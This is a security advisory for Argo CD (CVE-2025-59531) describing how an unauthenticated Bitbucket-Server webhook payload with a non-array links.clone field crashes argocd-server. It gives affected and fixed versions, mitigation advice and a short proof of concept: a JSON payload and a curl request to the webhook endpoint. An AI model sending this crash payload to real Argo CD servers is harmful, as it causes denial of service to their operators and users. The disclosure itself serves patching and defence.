github.com/argoproj/argo-cd
Affected
- introduced
1.2.0, last affected1.8.7(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: BIT-argo-cd-2025-59531, CVE-2025-59531, GO-2025-3993
Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload
Summary
Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.
With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.
A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.
Details
// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)
for _, l := range payload.Repository.Links["clone"].([]any) { // <- unsafe cast
link := l.(map[string]any)
...
}
If links.clone is a string, number, object, or null, the first type assertion panics:
interface conversion: interface {} is string, not []interface {}
The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.
PoC
Save as payload-panic.json - note the non-array links.clone.
{
"eventKey": "repo:refs_changed",
"repository": {
"name": "guestbook",
"fullName": "APP/guestbook",
"links": { "clone": "boom" }
},
"changes": [ { "ref": { "id": "refs/heads/master" } } ]
}
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Event-Key: repo:refs_changed' \
-H 'Content-Type: application/json' \
--data-binary @payload-panic.json
Observed crash (argocd-server restart):
panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
webhook.go:209 +0x1218
...
Mitigation
If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.
apiVersion: v1
kind: Secret
metadata:
name: argocd-secret
type: Opaque
data:
+ webhook.bitbucketserver.secret: <your base64-encoded secret here>
For more information
Credits
Discovered by Jakub Ciolek at AlphaSense.
High Basis: The source's own band: HIGH
1.2.0, last affected 1.8.7 (semver)None listed
No fixed version is listed.
2.0.0-rc1, fixed 2.14.20 (semver)2.14.20
2.14.20go get github.com/argoproj/argo-cd/[email protected]3.2.0-rc1, fixed 3.2.0-rc2 (semver)3.2.0-rc2
3.2.0-rc2go get github.com/argoproj/argo-cd/[email protected]3.1.0-rc1, fixed 3.1.8 (semver)3.1.8
3.1.8go get github.com/argoproj/argo-cd/[email protected]3.0.0-rc1, fixed 3.0.19 (semver)3.0.19
3.0.19go get github.com/argoproj/argo-cd/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0